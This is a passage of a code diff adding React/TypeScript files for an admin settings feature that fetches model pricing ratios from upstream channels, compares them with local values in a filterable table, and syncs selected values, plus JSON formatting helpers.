+  onSelect: () => void
+  onUnselect: () => void
+}
+
+function renderUpstreamValue(args: RenderUpstreamValueArgs) {
+  const { upstreamVal, isConfident, isSelected, isDisabled, t } = args
+
+  if (upstreamVal === null || upstreamVal === undefined) {
+    return (
+      <StatusBadge
+        label={t('Not Set')}
+        variant='neutral'
+        size='sm'
+        copyable={false}
+      />
+    )
+  }
+
+  if (upstreamVal === 'same') {
+    return (
+      <StatusBadge
+        label={t('Same as Local')}
+        variant='info'
+        size='sm'
+        copyable={false}
+      />
+    )
+  }
+
+  const text = String(upstreamVal)
+
+  return (
+    <div className='flex min-w-0 items-center gap-2'>
+      <Checkbox
+        checked={isSelected}
+        disabled={isDisabled}
+        onCheckedChange={(checked) => {
+          if (checked) {
+            args.onSelect()
+          } else {
+            args.onUnselect()
+          }
+        }}
+      />
+      <TooltipProvider>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <span className='inline-block max-w-[240px] cursor-default truncate font-mono text-sm'>
+              {text}
+            </span>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p className='max-w-xs text-xs break-all'>{text}</p>
+          </TooltipContent>
+        </Tooltip>
+      </TooltipProvider>
+      {!isConfident && (
+        <TooltipProvider>
+          <Tooltip>
+            <TooltipTrigger>
+              <AlertTriangle className='h-3.5 w-3.5 shrink-0 text-amber-500' />
+            </TooltipTrigger>
+            <TooltipContent>
+              <p>{t('This data may be unreliable, use with caution')}</p>
+            </TooltipContent>
+          </Tooltip>
+        </TooltipProvider>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts
new file mode 100644
index 0000000..ea4f00b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-helpers.ts
@@ -0,0 +1,84 @@
+import type { RatioType } from '../types'
+import { RATIO_TYPE_OPTIONS } from './constants'
+
+export type RatioDifferenceEntry = {
+  current: number | string | null
+  upstreams: Record<string, number | string | 'same'>
+  confidence: Record<string, boolean>
+}
+
+export type ModelRow = {
+  key: string
+  model: string
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>
+  billingConflict: boolean
+}
+
+export type ResolutionsMap = Record<string, Record<string, number | string>>
+
+export const RATIO_SYNC_FIELDS: RatioType[] = [
+  'model_ratio',
+  'completion_ratio',
+  'cache_ratio',
+  'create_cache_ratio',
+  'image_ratio',
+  'audio_ratio',
+  'audio_completion_ratio',
+]
+
+export const SYNC_FIELD_ORDER: RatioType[] = [
+  ...RATIO_SYNC_FIELDS,
+  'model_price',
+  'billing_mode',
+  'billing_expr',
+]
+
+export const NUMERIC_SYNC_FIELDS = new Set<string>([
+  ...RATIO_SYNC_FIELDS,
+  'model_price',
+])
+
+export function getSyncFieldLabel(
+  ratioType: string,
+  t: (key: string) => string
+): string {
+  const opt = RATIO_TYPE_OPTIONS.find((o) => o.value === ratioType)
+  if (opt) return t(opt.label)
+  return ratioType
+}
+
+export function getOrderedRatioTypes(
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>,
+  filter?: string
+): RatioType[] {
+  const keys = Object.keys(ratioTypes) as RatioType[]
+  const ordered = [
+    ...SYNC_FIELD_ORDER.filter((f) => keys.includes(f)),
+    ...keys.filter((f) => !SYNC_FIELD_ORDER.includes(f)),
+  ]
+  if (!filter || filter === '__all__') return ordered
+  return ordered.filter((f) => f === filter)
+}
+
+export function getPreferredSyncField(
+  ratioTypes: Partial<Record<RatioType, RatioDifferenceEntry>>,
+  ratioType: RatioType,
+  sourceName: string
+): RatioType {
+  const exprValue = ratioTypes.billing_expr?.upstreams?.[sourceName]
+  if (
+    ratioType !== 'billing_expr' &&
+    exprValue !== null &&
+    exprValue !== undefined &&
+    exprValue !== 'same'
+  ) {
+    return 'billing_expr'
+  }
+  return ratioType
+}
+
+export function isSelectableUpstreamValue(
+  value: number | string | 'same' | null | undefined
+): boolean {
+  return value !== null && value !== undefined && value !== 'same'
+}
diff --git a/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-table.tsx b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-table.tsx
new file mode 100644
index 0000000..d47ee3b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-table.tsx
@@ -0,0 +1,284 @@
+import { useCallback, useMemo, useState } from 'react'
+import {
+  flexRender,
+  getCoreRowModel,
+  getPaginationRowModel,
+  useReactTable,
+} from '@tanstack/react-table'
+import { Loader2, Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import type { DifferencesMap, RatioType } from '../types'
+import { RATIO_TYPE_OPTIONS } from './constants'
+import { useUpstreamRatioSyncColumns } from './upstream-ratio-sync-columns'
+import {
+  getOrderedRatioTypes,
+  getPreferredSyncField,
+  isSelectableUpstreamValue,
+  RATIO_SYNC_FIELDS,
+  type ModelRow,
+  type ResolutionsMap,
+} from './upstream-ratio-sync-helpers'
+
+type UpstreamRatioSyncTableProps = {
+  differences: DifferencesMap
+  resolutions: ResolutionsMap
+  isDisabled: boolean
+  isSyncing: boolean
+  onSelectValue: (
+    model: string,
+    ratioType: RatioType,
+    value: number | string,
+    sourceName: string
+  ) => void
+  onUnselectValue: (model: string, ratioType: RatioType) => void
+}
+
+export function UpstreamRatioSyncTable({
+  differences,
+  resolutions,
+  isDisabled,
+  isSyncing,
+  onSelectValue,
+  onUnselectValue,
+}: UpstreamRatioSyncTableProps) {
+  const { t } = useTranslation()
+  const [search, setSearch] = useState('')
+  const [ratioTypeFilter, setRatioTypeFilter] = useState<string>('')
+
+  const dataSource = useMemo<ModelRow[]>(() => {
+    return Object.entries(differences).map(([model, ratioTypes]) => {
+      const hasPrice = 'model_price' in ratioTypes
+      const hasOtherRatio = RATIO_SYNC_FIELDS.some((rt) => rt in ratioTypes)
+      return {
+        key: model,
+        model,
+        ratioTypes,
+        billingConflict: hasPrice && hasOtherRatio,
+      }
+    })
+  }, [differences])
+
+  const filteredData = useMemo(() => {
+    let data = dataSource
+
+    if (search.trim()) {
+      const lower = search.toLowerCase()
+      data = data.filter((row) => row.model.toLowerCase().includes(lower))
+    }
+
+    if (ratioTypeFilter && ratioTypeFilter !== '__all__') {
+      data = data.filter((row) => ratioTypeFilter in row.ratioTypes)
+    }
+
+    return data
+  }, [dataSource, search, ratioTypeFilter])
+
+  const upstreamNames = useMemo(() => {
+    const set = new Set<string>()
+    filteredData.forEach((row) => {
+      getOrderedRatioTypes(row.ratioTypes, ratioTypeFilter).forEach(
+        (ratioType) => {
+          Object.keys(row.ratioTypes[ratioType]?.upstreams || {}).forEach(
+            (name) => set.add(name)
+          )
+        }
+      )
+    })
+    return Array.from(set)
+  }, [filteredData, ratioTypeFilter])
+
+  const handleBulkSelect = useCallback(
+    (upstream: string, rows: ModelRow[]) => {
+      rows.forEach((row) => {
+        getOrderedRatioTypes(row.ratioTypes, ratioTypeFilter).forEach(
+          (ratioType) => {
+            const upstreamVal = row.ratioTypes[ratioType]?.upstreams?.[upstream]
+            const preferredField = getPreferredSyncField(
+              row.ratioTypes,
+              ratioType,
+              upstream
+            )
+            if (
+              preferredField === ratioType &&
+              isSelectableUpstreamValue(upstreamVal)
+            ) {
+              onSelectValue(
+                row.model,
+                ratioType,
+                upstreamVal as number | string,
+                upstream
+              )
+            }
+          }
+        )
+      })
+    },
+    [ratioTypeFilter, onSelectValue]
+  )
+
+  const handleBulkUnselect = useCallback(
+    (upstream: string, rows: ModelRow[]) => {
+      rows.forEach((row) => {
+        getOrderedRatioTypes(row.ratioTypes, ratioTypeFilter).forEach(
+          (ratioType) => {
+            if (
+              row.ratioTypes[ratioType]?.upstreams?.[upstream] !== undefined
+            ) {
+              onUnselectValue(row.model, ratioType)
+            }
+          }
+        )
+      })
+    },
+    [ratioTypeFilter, onUnselectValue]
+  )
+
+  const columns = useUpstreamRatioSyncColumns(
+    upstreamNames,
+    resolutions,
+    ratioTypeFilter,
+    isDisabled,
+    onSelectValue,
+    onUnselectValue,
+    handleBulkSelect,
+    handleBulkUnselect
+  )
+
+  const table = useReactTable({
+    data: filteredData,
+    columns,
+    getCoreRowModel: getCoreRowModel(),
+    getPaginationRowModel: getPaginationRowModel(),
+    getRowId: (row) => row.key,
+    initialState: {
+      pagination: { pageSize: 10 },
+    },
+  })
+
+  if (dataSource.length === 0) {
+    if (isSyncing) {
+      return (
+        <div className='flex h-64 flex-col items-center justify-center gap-3 rounded-md border'>
+          <Loader2 className='text-muted-foreground h-8 w-8 animate-spin' />
+          <p className='text-muted-foreground text-sm'>
+            {t('Fetching upstream prices...')}
+          </p>
+        </div>
+      )
+    }
+
+    return (
+      <div className='flex h-64 items-center justify-center rounded-md border'>
+        <div className='text-center'>
+          <p className='text-muted-foreground text-sm'>
+            {t('No upstream price differences found')}
+          </p>
+          <p className='text-muted-foreground mt-1 text-xs'>
+            {t('Select sync channels to compare prices')}
+          </p>
+        </div>
+      </div>
+    )
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex flex-col gap-2 sm:flex-row sm:items-center'>
+        <div className='relative flex-1'>
+          <Search className='text-muted-foreground absolute top-1/2 left-2 h-4 w-4 -translate-y-1/2' />
+          <Input
+            placeholder={t('Search model name...')}
+            value={search}
+            onChange={(e) => setSearch(e.target.value)}
+            disabled={isDisabled}
+            className='ps-8'
+          />
+        </div>
+        <Select
+          value={ratioTypeFilter}
+          onValueChange={setRatioTypeFilter}
+          disabled={isDisabled}
+        >
+          <SelectTrigger className='w-full sm:w-56'>
+            <SelectValue placeholder={t('Filter by price field')} />
+          </SelectTrigger>
+          <SelectContent>
+            <SelectItem value='__all__'>{t('All Types')}</SelectItem>
+            {RATIO_TYPE_OPTIONS.map((option) => (
+              <SelectItem key={option.value} value={option.value}>
+                {t(option.label)}
+              </SelectItem>
+            ))}
+          </SelectContent>
+        </Select>
+      </div>
+
+      <div className='overflow-hidden rounded-md border'>
+        <div className='overflow-x-auto'>
+          <Table>
+            <TableHeader>
+              {table.getHeaderGroups().map((headerGroup) => (
+                <TableRow key={headerGroup.id}>
+                  {headerGroup.headers.map((header) => (
+                    <TableHead key={header.id} className='align-top'>
+                      {header.isPlaceholder
+                        ? null
+                        : flexRender(
+                            header.column.columnDef.header,
+                            header.getContext()
+                          )}
+                    </TableHead>
+                  ))}
+                </TableRow>
+              ))}
+            </TableHeader>
+            <TableBody>
+              {table.getRowModel().rows.length > 0 ? (
+                table.getRowModel().rows.map((row) => (
+                  <TableRow key={row.id} className='align-top'>
+                    {row.getVisibleCells().map((cell) => (
+                      <TableCell key={cell.id} className='align-top'>
+                        {flexRender(
+                          cell.column.columnDef.cell,
+                          cell.getContext()
+                        )}
+                      </TableCell>
+                    ))}
+                  </TableRow>
+                ))
+              ) : (
+                <TableRow>
+                  <TableCell
+                    colSpan={columns.length}
+                    className='h-24 text-center'
+                  >
+                    {t('No results found')}
+                  </TableCell>
+                </TableRow>
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      </div>
+
+      <DataTablePagination table={table} />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync.tsx b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync.tsx
new file mode 100644
index 0000000..16a554b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync.tsx
@@ -0,0 +1,552 @@
+import { useCallback, useEffect, useMemo, useState } from 'react'
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+import { CheckSquare, RefreshCcw } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  fetchUpstreamRatios,
+  getUpstreamChannels,
+  updateSystemOption,
+} from '../api'
+import type {
+  DifferencesMap,
+  RatioType,
+  UpstreamChannel,
+  UpstreamConfig,
+} from '../types'
+import { ChannelSelectorDialog } from './channel-selector-dialog'
+import {
+  ConflictConfirmDialog,
+  type ConflictItem,
+} from './conflict-confirm-dialog'
+import {
+  DEFAULT_ENDPOINT,
+  MODELS_DEV_PRESET_ENDPOINT,
+  MODELS_DEV_PRESET_ID,
+  OFFICIAL_CHANNEL_ENDPOINT,
+  OFFICIAL_CHANNEL_ID,
+  OPENROUTER_CHANNEL_TYPE,
+  OPENROUTER_ENDPOINT,
+} from './constants'
+import {
+  NUMERIC_SYNC_FIELDS,
+  RATIO_SYNC_FIELDS,
+  getPreferredSyncField,
+  type ResolutionsMap,
+} from './upstream-ratio-sync-helpers'
+import { UpstreamRatioSyncTable } from './upstream-ratio-sync-table'
+
+// ---------------------------------------------------------------------------
+// Types
+// ---------------------------------------------------------------------------
+
+type UpstreamRatioSyncProps = {
+  modelRatios: {
+    ModelPrice: string
+    ModelRatio: string
+    CompletionRatio: string
+    CacheRatio: string
+    CreateCacheRatio: string
+    ImageRatio: string
+    AudioRatio: string
+    AudioCompletionRatio: string
+    'billing_setting.billing_mode': string
+    'billing_setting.billing_expr': string
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Helpers
+// ---------------------------------------------------------------------------
+
+// The two synthesized presets always carry stable negative IDs assigned by
+// `controller/ratio_sync.go`; matching by ID alone is sufficient and avoids
+// fragile name/base_url comparisons.
+function getDefaultEndpointForChannel(channel: UpstreamChannel): string {
+  if (channel.id === MODELS_DEV_PRESET_ID) return MODELS_DEV_PRESET_ENDPOINT
+  if (channel.id === OFFICIAL_CHANNEL_ID) return OFFICIAL_CHANNEL_ENDPOINT
+  if (channel.type === OPENROUTER_CHANNEL_TYPE) return OPENROUTER_ENDPOINT
+  return DEFAULT_ENDPOINT
+}
+
+function getBillingCategory(ratioType: string): 'price' | 'ratio' | 'tiered' {
+  if (ratioType === 'model_price') return 'price'
+  if (ratioType === 'billing_mode' || ratioType === 'billing_expr')
+    return 'tiered'
+  return 'ratio'
+}
+
+function optionKeyBySyncField(ratioType: string): string {
+  const explicit: Record<string, string> = {
+    billing_mode: 'billing_setting.billing_mode',
+    billing_expr: 'billing_setting.billing_expr',
+  }
+  if (explicit[ratioType]) return explicit[ratioType]
+  return ratioType
+    .split('_')
+    .map((word) => word.charAt(0).toUpperCase() + word.slice(1))
+    .join('')
+}
+
+function parseJsonRecord<T>(raw: string | undefined | null): Record<string, T> {
+  try {
+    return JSON.parse(raw || '{}') as Record<string, T>
+  } catch {
+    return {}
+  }
+}
+
+function deleteResolutionField(
+  res: ResolutionsMap,
+  model: string,
+  ratioType: string
+): ResolutionsMap {
+  if (!res[model]) return res
+  const newModelRes = { ...res[model] }
+  delete newModelRes[ratioType]
+  if (ratioType === 'billing_expr') delete newModelRes['billing_mode']
+  if (ratioType === 'billing_mode') delete newModelRes['billing_expr']
+  const next = { ...res }
+  if (Object.keys(newModelRes).length === 0) {
+    delete next[model]
+  } else {
+    next[model] = newModelRes
+  }
+  return next
+}
+
+// ---------------------------------------------------------------------------
+// Component
+// ---------------------------------------------------------------------------
+
+export function UpstreamRatioSync({ modelRatios }: UpstreamRatioSyncProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+
+  const [channelDialogOpen, setChannelDialogOpen] = useState(false)
+  const [conflictDialogOpen, setConflictDialogOpen] = useState(false)
+  const [selectedChannelIds, setSelectedChannelIds] = useState<number[]>([])
+  const [channelEndpoints, setChannelEndpoints] = useState<
+    Record<number, string>
+  >({})
+  const [differences, setDifferences] = useState<DifferencesMap>({})
+  const [resolutions, setResolutions] = useState<ResolutionsMap>({})
+  const [conflictItems, setConflictItems] = useState<ConflictItem[]>([])
+  const [confirmLoading, setConfirmLoading] = useState(false)
+
+  const { data: channelsData } = useQuery({
+    queryKey: ['upstream-channels'],
+    queryFn: getUpstreamChannels,
+    enabled: channelDialogOpen,
+  })
+
+  // Memoize the channels list so the effect below only re-runs when the query
+  // data actually changes, instead of on every render (the `|| []` fallback
+  // would otherwise produce a new array reference each render).
+  const channels = useMemo(() => channelsData?.data ?? [], [channelsData?.data])
+
+  useEffect(() => {
+    if (channels.length === 0) return
+    setChannelEndpoints((prev) => {
+      let mutated = false
+      const next = { ...prev }
+      for (const channel of channels) {
+        if (!next[channel.id]) {
+          next[channel.id] = getDefaultEndpointForChannel(channel)
+          mutated = true
+        }
+      }
+      return mutated ? next : prev
+    })
+  }, [channels])
+
+  const fetchMutation = useMutation({
+    mutationFn: fetchUpstreamRatios,
+    onSuccess: (data) => {
+      if (!data.success) {
+        toast.error(data.message || t('Failed to fetch upstream prices'))
+        return
+      }
+
+      const { differences: diffs, test_results } = data.data
+
+      const errorResults = test_results.filter((r) => r.status === 'error')
+      if (errorResults.length > 0) {
+        const errorMsg = errorResults
+          .map((r) => `${r.name}: ${r.error}`)
+          .join(', ')
+        toast.warning(t('Some channels failed: {{errorMsg}}', { errorMsg }))
+      }
+
+      setDifferences(diffs)
+      setResolutions({})
+
+      if (Object.keys(diffs).length === 0) {
+        toast.success(t('No price differences found'))
+      } else {
+        toast.success(t('Upstream prices fetched successfully'))
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || t('Failed to fetch upstream prices'))
+    },
+  })
+
+  const { mutate: syncMutate, isPending: isSyncPending } = useMutation({
+    mutationFn: async (updates: Array<{ key: string; value: string }>) => {
+      for (const update of updates) {
+        await updateSystemOption(update)
+      }
+    },
+    onSuccess: () => {
+      toast.success(t('Prices synced successfully'))
+      queryClient.invalidateQueries({ queryKey: ['system-options'] })
+
+      setDifferences((prevDiffs) => {
+        const newDiffs = { ...prevDiffs }
+        Object.entries(resolutions).forEach(([model, ratios]) => {
+          Object.keys(ratios).forEach((ratioType) => {
+            if (newDiffs[model]?.[ratioType as RatioType]) {
+              delete newDiffs[model][ratioType as RatioType]
+              if (Object.keys(newDiffs[model]).length === 0) {
+                delete newDiffs[model]
+              }
+            }
+          })
+        })
+        return newDiffs
+      })
+
+      setResolutions({})
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || t('Failed to sync prices'))
+    },
+  })
+
+  const handleOpenChannelDialog = () => {
+    setChannelDialogOpen(true)
+  }
+
+  const handleConfirmChannelSelection = (selectedIds: number[]) => {
+    const selectedChannels = channels.filter((ch) =>
+      selectedIds.includes(ch.id)
+    )
+
+    if (selectedChannels.length === 0) {
+      toast.warning(t('Please select at least one channel'))
+      return
+    }
+
+    const upstreams: UpstreamConfig[] = selectedChannels.map((ch) => ({
+      id: ch.id,
+      name: ch.name,
+      base_url: ch.base_url,
+      endpoint: channelEndpoints[ch.id] || DEFAULT_ENDPOINT,
+    }))
+
+    fetchMutation.mutate({ upstreams, timeout: 10 })
+  }
+
+  const handleSelectValue = useCallback(
+    (
+      model: string,
+      ratioType: RatioType,
+      value: number | string,
+      sourceName: string
+    ) => {
+      const modelDiffs = differences[model]
+
+      // Prefer billing_expr over individual ratio fields when available
+      const preferredType = sourceName
+        ? getPreferredSyncField(modelDiffs || {}, ratioType, sourceName)
+        : ratioType
+      const preferredValue =
+        preferredType === ratioType
+          ? value
+          : (modelDiffs?.[preferredType]?.upstreams?.[sourceName] ?? value)
+
+      const finalType = preferredType
+      const finalValue = preferredValue as number | string
+      const category = getBillingCategory(finalType)
+
+      setResolutions((prev) => {
+        const newModelRes = { ...(prev[model] || {}) }
+
+        // Clear conflicting categories
+        Object.keys(newModelRes).forEach((rt) => {
+          if (
+            category !== 'tiered' &&
+            getBillingCategory(rt) !== 'tiered' &&
+            getBillingCategory(rt) !== category
+          ) {
+            delete newModelRes[rt]
+          }
+        })
+
+        newModelRes[finalType] = finalValue
+
+        // When selecting a tiered field, auto-populate paired fields from the same source
+        if (category === 'tiered' && sourceName && modelDiffs) {
+          const modeVal = modelDiffs.billing_mode?.upstreams?.[sourceName]
+          const exprVal = modelDiffs.billing_expr?.upstreams?.[sourceName]
+          if (modeVal !== undefined && modeVal !== null && modeVal !== 'same') {
+            newModelRes['billing_mode'] = modeVal
+          } else if (finalType === 'billing_expr') {
+            newModelRes['billing_mode'] = 'tiered_expr'
+          }
+          if (exprVal !== undefined && exprVal !== null && exprVal !== 'same') {
+            newModelRes['billing_expr'] = exprVal
+          }
+        }
+
+        return { ...prev, [model]: newModelRes }
+      })
+    },
+    [differences]
+  )
+
+  const handleUnselectValue = useCallback(
+    (model: string, ratioType: RatioType) => {
+      setResolutions((prev) => deleteResolutionField(prev, model, ratioType))
+    },
+    []
+  )
+
+  const parsedRatios = useMemo(() => {
+    return {
+      ModelRatio: parseJsonRecord<number>(modelRatios.ModelRatio),
+      CompletionRatio: parseJsonRecord<number>(modelRatios.CompletionRatio),
+      CacheRatio: parseJsonRecord<number>(modelRatios.CacheRatio),
+      CreateCacheRatio: parseJsonRecord<number>(modelRatios.CreateCacheRatio),
+      ImageRatio: parseJsonRecord<number>(modelRatios.ImageRatio),
+      AudioRatio: parseJsonRecord<number>(modelRatios.AudioRatio),
+      AudioCompletionRatio: parseJsonRecord<number>(
+        modelRatios.AudioCompletionRatio
+      ),
+      ModelPrice: parseJsonRecord<number>(modelRatios.ModelPrice),
+      'billing_setting.billing_mode': parseJsonRecord<string>(
+        modelRatios['billing_setting.billing_mode']
+      ),
+      'billing_setting.billing_expr': parseJsonRecord<string>(
+        modelRatios['billing_setting.billing_expr']
+      ),
+    }
+  }, [modelRatios])
+
+  type ParsedRatios = typeof parsedRatios
+
+  const getLocalBillingCategory = (
+    model: string,
+    currentRatios: ParsedRatios
+  ): 'price' | 'ratio' | null => {
+    if (currentRatios.ModelPrice[model] !== undefined) return 'price'
+    if (
+      currentRatios.ModelRatio[model] !== undefined ||
+      currentRatios.CompletionRatio[model] !== undefined ||
+      currentRatios.CacheRatio[model] !== undefined ||
+      currentRatios.CreateCacheRatio[model] !== undefined ||
+      currentRatios.ImageRatio[model] !== undefined ||
+      currentRatios.AudioRatio[model] !== undefined ||
+      currentRatios.AudioCompletionRatio[model] !== undefined
+    )
+      return 'ratio'
+    return null
+  }
+
+  const performSync = useCallback(
+    async (currentRatios: ParsedRatios): Promise<boolean> => {
+      const finalRatios: Record<string, Record<string, number | string>> = {
+        ModelRatio: { ...currentRatios.ModelRatio },
+        CompletionRatio: { ...currentRatios.CompletionRatio },
+        CacheRatio: { ...currentRatios.CacheRatio },
+        CreateCacheRatio: { ...currentRatios.CreateCacheRatio },
+        ImageRatio: { ...currentRatios.ImageRatio },
+        AudioRatio: { ...currentRatios.AudioRatio },
+        AudioCompletionRatio: { ...currentRatios.AudioCompletionRatio },
+        ModelPrice: { ...currentRatios.ModelPrice },
+        'billing_setting.billing_mode': {
+          ...currentRatios['billing_setting.billing_mode'],
+        },
+        'billing_setting.billing_expr': {
+          ...currentRatios['billing_setting.billing_expr'],
+        },
+      }
+
+      Object.entries(resolutions).forEach(([model, ratios]) => {
+        const selectedTypes = Object.keys(ratios)
+        const hasPrice = selectedTypes.includes('model_price')
+        const hasRatio = selectedTypes.some((rt) =>
+          RATIO_SYNC_FIELDS.includes(rt as RatioType)
+        )
+
+        if (hasPrice) {
+          delete finalRatios.ModelRatio[model]
+          delete finalRatios.CompletionRatio[model]
+          delete finalRatios.CacheRatio[model]
+          delete finalRatios.CreateCacheRatio[model]
+          delete finalRatios.ImageRatio[model]
+          delete finalRatios.AudioRatio[model]
+          delete finalRatios.AudioCompletionRatio[model]
+        }
+        if (hasRatio) {
+          delete finalRatios.ModelPrice[model]
+        }
+
+        Object.entries(ratios).forEach(([ratioType, value]) => {
+          const optionKey = optionKeyBySyncField(ratioType)
+          finalRatios[optionKey][model] = NUMERIC_SYNC_FIELDS.has(ratioType)
+            ? Number(value)
+            : value
+        })
+      })
+
+      const updates = Object.entries(finalRatios).map(([key, value]) => ({
+        key,
+        value: JSON.stringify(value, null, 2),
+      }))
+
+      return new Promise<boolean>((resolve) => {
+        syncMutate(updates, {
+          onSuccess: () => resolve(true),
+          onError: () => resolve(false),
+        })
+      })
+    },
+    [resolutions, syncMutate]
+  )
+
+  const findSourceChannel = (
+    model: string,
+    ratioType: RatioType,
+    value: number | string
+  ): string => {
+    const upMap = differences[model]?.[ratioType]?.upstreams
+    if (!upMap) return 'Unknown'
+    const entry = Object.entries(upMap).find(([, v]) => v === value)
+    return entry ? entry[0] : 'Unknown'
+  }
+
+  const handleApplySync = () => {
+    const currentRatios = parsedRatios
+    const conflicts: ConflictItem[] = []
+
+    const fixedPriceLabel = t('Fixed price')
+    const modelRatioLabel = t('Model ratio')
+    const completionRatioLabel = t('Completion ratio')
+
+    Object.entries(resolutions).forEach(([model, ratios]) => {
+      const localCat = getLocalBillingCategory(model, currentRatios)
+      const selectedTypes = Object.keys(ratios)
+      let newCat: 'price' | 'ratio' | 'tiered'
+      if ('model_price' in ratios) {
+        newCat = 'price'
+      } else if (RATIO_SYNC_FIELDS.some((rt) => selectedTypes.includes(rt))) {
+        newCat = 'ratio'
+      } else {
+        newCat = 'tiered'
+      }
+
+      if (localCat && newCat !== 'tiered' && localCat !== newCat) {
+        const currentDesc =
+          localCat === 'price'
+            ? `${fixedPriceLabel}: ${currentRatios.ModelPrice[model]}`
+            : `${modelRatioLabel}: ${currentRatios.ModelRatio[model] ?? '-'}\n${completionRatioLabel}: ${currentRatios.CompletionRatio[model] ?? '-'}`
+
+        const newDesc =
+          newCat === 'price'
+            ? `${fixedPriceLabel}: ${ratios.model_price}`
+            : `${modelRatioLabel}: ${ratios.model_ratio ?? '-'}\n${completionRatioLabel}: ${ratios.completion_ratio ?? '-'}`
+
+        const channelNames = selectedTypes
+          .map((rt) => findSourceChannel(model, rt as RatioType, ratios[rt]))
+          .filter((v, idx, arr) => arr.indexOf(v) === idx)
+          .join(', ')
+
+        conflicts.push({
+          channel: channelNames,
+          model,
+          current: currentDesc,
+          newVal: newDesc,
+        })
+      }
+    })
+
+    if (conflicts.length > 0) {
+      setConflictItems(conflicts)
+      setConflictDialogOpen(true)
+      return
+    }
+
+    toast.info(t('Syncing prices, please wait...'))
+    performSync(currentRatios)
+  }
+
+  const handleConfirmConflict = async () => {
+    setConfirmLoading(true)
+    try {
+      const success = await performSync(parsedRatios)
+      if (success) {
+        setConflictDialogOpen(false)
+      }
+    } finally {
+      setConfirmLoading(false)
+    }
+  }
+
+  const hasSelections = Object.keys(resolutions).length > 0
+  const isLoading = fetchMutation.isPending || isSyncPending || confirmLoading
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+        <div className='flex flex-col gap-2 sm:flex-row'>
+          <Button onClick={handleOpenChannelDialog} disabled={isLoading}>
+            <RefreshCcw className='mr-2 h-4 w-4' />
+            {t('Select Sync Channels')}
+          </Button>
+          <Button
+            variant='secondary'
+            onClick={handleApplySync}
+            disabled={!hasSelections || isLoading}
+          >
+            {(isSyncPending || confirmLoading) && (
+              <span className='mr-2 h-4 w-4 animate-spin rounded-full border-2 border-current border-t-transparent' />
+            )}
+            <CheckSquare className='mr-2 h-4 w-4' />
+            {t('Apply Sync')}
+          </Button>
+        </div>
+      </div>
+
+      <UpstreamRatioSyncTable
+        differences={differences}
+        resolutions={resolutions}
+        isDisabled={isLoading}
+        isSyncing={fetchMutation.isPending}
+        onSelectValue={handleSelectValue}
+        onUnselectValue={handleUnselectValue}
+      />
+
+      <ChannelSelectorDialog
+        open={channelDialogOpen}
+        onOpenChange={setChannelDialogOpen}
+        channels={channels}
+        selectedChannelIds={selectedChannelIds}
+        onSelectedChannelIdsChange={setSelectedChannelIds}
+        channelEndpoints={channelEndpoints}
+        onChannelEndpointsChange={setChannelEndpoints}
+        onConfirm={handleConfirmChannelSelection}
+      />
+
+      <ConflictConfirmDialog
+        open={conflictDialogOpen}
+        onOpenChange={setConflictDialogOpen}
+        conflicts={conflictItems}
+        onConfirm={handleConfirmConflict}
+        isLoading={confirmLoading}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/utils.ts b/new-api/web/default/src/features/system-settings/models/utils.ts
new file mode 100644
index 0000000..9c1e38e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/utils.ts
@@ -0,0 +1,123 @@
+export function formatJsonForTextarea(value: string) {
+  if (!value || !value.trim()) {
+    return ''
+  }
+
+  try {
+    const parsed = JSON.parse(value)
+    return JSON.stringify(parsed, null, 2)
+  } catch {
+    return value
+  }
+}
+
+export function normalizeJsonString(value: string) {
+  const trimmed = value.trim()
+  if (!trimmed) {
+    return ''
+  }
+
+  try {
+    const parsed = JSON.parse(trimmed)
+    return JSON.stringify(parsed)
+  } catch {
+    return trimmed
+  }
+}
+
+type JsonValidationOptions = {
+  allowEmpty?: boolean
+  predicate?: (value: unknown) => boolean
+  predicateMessage?: string
+}
+
+function extractErrorPosition(
+  error: unknown,
+  jsonString: string
+): { line?: number; column?: number; position?: number } {
+  if (!(error instanceof Error)) return {}
+
+  const message = error.message
+
+  // Format 1: "Unexpected token } in JSON at position 15"
+  const positionMatch = message.match(/at position (\d+)/i)
+  if (positionMatch) {
+    const position = parseInt(positionMatch[1], 10)
+    const lines = jsonString.substring(0, position).split('\n')
+    return {
+      line: lines.length,
+      column: lines[lines.length - 1].length + 1,
+      position,
+    }
+  }
+
+  // Format 2: "JSON.parse: ... at line 2 column 3"
+  const lineColMatch = message.match(/at line (\d+) column (\d+)/i)
+  if (lineColMatch) {
+    return {
+      line: parseInt(lineColMatch[1], 10),
+      column: parseInt(lineColMatch[2], 10),
+    }
+  }
+
+  return {}
+}
+
